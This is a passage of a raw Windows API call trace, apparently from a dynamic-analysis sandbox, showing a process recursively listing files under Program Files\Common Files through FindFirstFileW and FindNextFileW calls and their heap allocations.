ftLastWriteTime.dwHighDateTime=0x1cbd076, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0214.579] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe87c00, ftCreationTime.dwHighDateTime=0x1cbfe36, ftLastAccessTime.dwLowDateTime=0x2ce22546, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xcfe87c00, ftLastWriteTime.dwHighDateTime=0x1cbfe36, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0214.580] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe87c00, ftCreationTime.dwHighDateTime=0x1cbfe36, ftLastAccessTime.dwLowDateTime=0x2ce22546, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xcfe87c00, ftLastWriteTime.dwHighDateTime=0x1cbfe36, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0214.580] FindClose (in: hFindFile=0x33e4d68 | out: hFindFile=0x33e4d68) returned 1 [0214.580] GetProcessHeap () returned 0xc10000 [0214.580] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0214.580] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0214.580] GetProcessHeap () returned 0xc10000 [0214.580] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0214.580] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\*", lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0214.580] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.580] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xb3fd6e56, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xf1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0214.580] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xb3fd6e56, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xf1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0214.580] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0214.581] GetProcessHeap () returned 0xc10000 [0214.581] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0214.581] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0214.581] GetProcessHeap () returned 0xc10000 [0214.581] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0214.581] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\*", lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0214.581] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.581] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0214.582] GetProcessHeap () returned 0xc10000 [0214.582] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.582] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0214.582] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.582] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0214.582] GetProcessHeap () returned 0xc10000 [0214.582] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0214.583] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0214.583] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.583] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6d7a0a, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x30a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0214.583] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0214.584] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0214.584] FindClose (in: hFindFile=0x33e4968 | out: hFindFile=0x33e4968) returned 1 [0214.584] GetProcessHeap () returned 0xc10000 [0214.584] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0214.584] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0214.584] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x59a70, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0214.584] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0214.584] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0214.584] FindClose (in: hFindFile=0x33e4c68 | out: hFindFile=0x33e4c68) returned 1 [0214.585] GetProcessHeap () returned 0xc10000 [0214.585] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.586] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0214.586] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x4298, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0214.586] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0214.586] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0214.586] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0214.586] GetProcessHeap () returned 0xc10000 [0214.586] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0214.587] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 0 [0214.587] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0214.587] GetProcessHeap () returned 0xc10000 [0214.587] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0214.589] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0214.590] GetProcessHeap () returned 0xc10000 [0214.590] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0214.590] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0214.590] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.591] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0214.591] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0214.591] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0214.591] GetProcessHeap () returned 0xc10000 [0214.591] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0214.591] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb423a2d0, ftCreationTime.dwHighDateTime=0x1d57095, ftLastAccessTime.dwLowDateTime=0x57b65dd0, ftLastAccessTime.dwHighDateTime=0x1d57d51, ftLastWriteTime.dwLowDateTime=0x57b65dd0, ftLastWriteTime.dwHighDateTime=0x1d57d51, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="skype.exe", cAlternateFileName="")) returned 1 [0214.591] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0214.591] GetProcessHeap () returned 0xc10000 [0214.591] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0214.591] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0214.591] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.592] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0214.592] GetProcessHeap () returned 0xc10000 [0214.592] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.592] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0214.813] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.813] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52a0c6a1, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x52a0c6a1, 